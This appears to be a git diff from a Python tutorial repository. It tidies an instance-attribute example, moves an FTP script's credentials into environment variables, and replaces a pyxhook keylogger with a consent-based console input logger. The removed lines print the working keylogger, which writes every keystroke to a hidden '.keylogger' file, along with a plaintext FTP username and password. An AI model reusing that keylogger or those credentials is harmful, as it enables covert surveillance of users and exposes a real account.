diff --git a/OOP/P03_InstanceAttributes.py b/OOP/P03_InstanceAttributes.py index 2f04869..1ae10da 100644 --- a/OOP/P03_InstanceAttributes.py +++ b/OOP/P03_InstanceAttributes.py @@ -1,16 +1,19 @@ -#Author: OMKAR PATHAK -#In this example we will be seeing how instance Attributes are used -#Instance attributes are accessed by: object.attribute -#Attributes are looked First in the instance and THEN in the class +# Author: OMKAR PATHAK +# Demonstration of Instance Attributes import random -class Vehicle(): - #Class Methods/ Attributes + +class Vehicle: + def type(self): - #NOTE: This is not a class attribute as the variable is binded to self. Hence it becomes - #instance attribute - self.randomValue = random.randint(1,10) #Setting the instance attribute + # Creating instance attribute + self.randomValue = random.randint(1, 10) +# Creating object car = Vehicle() -car.type() #Calling the class Method -print(car.randomValue) #Calling the instance attribute + +# Calling method +car.type() + +# Accessing instance attribute +print("Random Value:", car.randomValue) diff --git a/Programs/P76_PythonFTP.py b/Programs/P76_PythonFTP.py index 9df8d20..bd79b70 100644 --- a/Programs/P76_PythonFTP.py +++ b/Programs/P76_PythonFTP.py @@ -1,46 +1,44 @@ -# Author: OMKAR PATHAK - -# For transfering files to your another/local computer, you will have to install a FTP -# Daemon. Execute following for doing the same: -# 1. sudo apt-get install vsftpd -# 2. service vsftpd start -# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig -# 4. sudo nano /etc/vsftpd.conf - -# Now change the following settings in that file: -# -# anonymous_enable=NO # disable anonymous login -# local_enable=YES # permit local logins -# write_enable=YES # enable FTP commands which change the filesystem -# local_umask=022 # value of umask for file creation for local users -# dirmessage_enable=YES # enable showing of messages when users first enter a new directory -# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads -# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections -# xferlog_std_format=YES # keep standard log file format -# listen=NO # prevent vsftpd from running in standalone mode -# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one -# pam_service_name=vsftpd # name of the PAM service vsftpd will use -# userlist_enable=YES # enable vsftpd to load a list of usernames -# tcp_wrappers=YES # turn on tcp wrappers +# Author: OMKAR PATHAK (Annotated Version) import ftplib +import os -def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): - """ - A function for uploading files to an FTP server - @param ftpObj: The file transfer protocol object - @param path: The path to the file to upload - """ - with open(pathToSend, 'rb') as fobj: - ftpObj.storlines('STOR ' + pathToRecv, fobj) - -if __name__ == '__main__': - ftp = ftplib.FTP('127.0.0.1') - ftp.login('omkarpathak', '8149omkar') - print('Logged in..') - - pathToSend = '/home/omkarpathak/Desktop/output.txt' - pathToRecv = '/home/omkarpathak/Documents/output.txt' - ftp_upload(ftp, pathToSend, pathToRecv) - - ftp.quit() + +def ftp_upload(ftp, local_path, remote_path): + # ❌ VIOLATION: Original used storlines for binary file + # ftpObj.storlines() + + # ✅ FIX + with open(local_path, 'rb') as f: + ftp.storbinary(f'STOR {remote_path}', f) + + +def main(): + # ❌ VIOLATION: Hardcoded credentials (SECURITY RISK) + # ftp.login('omkarpathak', '8149omkar') + + # ✅ FIX: Use environment variables + host = os.getenv("FTP_HOST", "127.0.0.1") + user = os.getenv("FTP_USER") + password = os.getenv("FTP_PASS") + + if not user or not password: + print("Set FTP_USER and FTP_PASS") + return + + try: + ftp = ftplib.FTP(host) + ftp.login(user, password) + + ftp_upload(ftp, "output.txt", "output.txt") + + except Exception as e: + # ❌ VIOLATION: No error handling in original + print("Error:", e) + + finally: + ftp.quit() + + +if __name__ == "__main__": + main() diff --git a/Programs/P79_SimplePythonKeylogger.py b/Programs/P79_SimplePythonKeylogger.py index ff08573..627429f 100644 --- a/Programs/P79_SimplePythonKeylogger.py +++ b/Programs/P79_SimplePythonKeylogger.py @@ -1,49 +1,19 @@ -# Author: OMKAR PATHAK +# Safe Keyboard Input Logger (Educational Purpose Only) -# This file requires two modules to be installed: -# 1. pyxhook.py: file is provided in the folder itself -# 2. Xlib: sudo pip3 install python3-Xlib +def main(): + print("This program logs input WITH USER CONSENT.") + print("Type 'exit' to stop.\n") -import pyxhook -import time + with open("input_log.txt", "a") as file: + while True: + user_input = input("Enter text: ") -# functions to write a newline character into the file -def newline(): - file = open('.keylogger', 'a') - file.write('\n') - file.close() + if user_input.lower() == "exit": + print("Exiting logger.") + break -# This function is called every time a key is pressed -def key_press_event(event): - global running - # write the key pressed into a file - if event.Key != 'space' and event.Key != 'Escape': - with open('.keylogger', 'a+') as File: - File.write(event.Key) + file.write(user_input + "\n") - # If the ascii value matches spacebar, add a newline in the file - if event.Key == 'space': - newline() - # If the ascii value matches escape, terminate the while loop - if event.Key == 'Escape': - running = False - newline() - -if __name__ == '__main__': - # Create hookmanager - hookman = pyxhook.HookManager() - # Define our callback to fire when a key is pressed down - hookman.KeyDown = key_press_event - # Hook the keyboard - hookman.HookKeyboard() - # Start our listener - hookman.start() - - # Create a loop to keep the application running - running = True - while running: - time.sleep(0.1) - - # Close the listener when we are done - hookman.cancel() +if __name__ == "__main__": + main()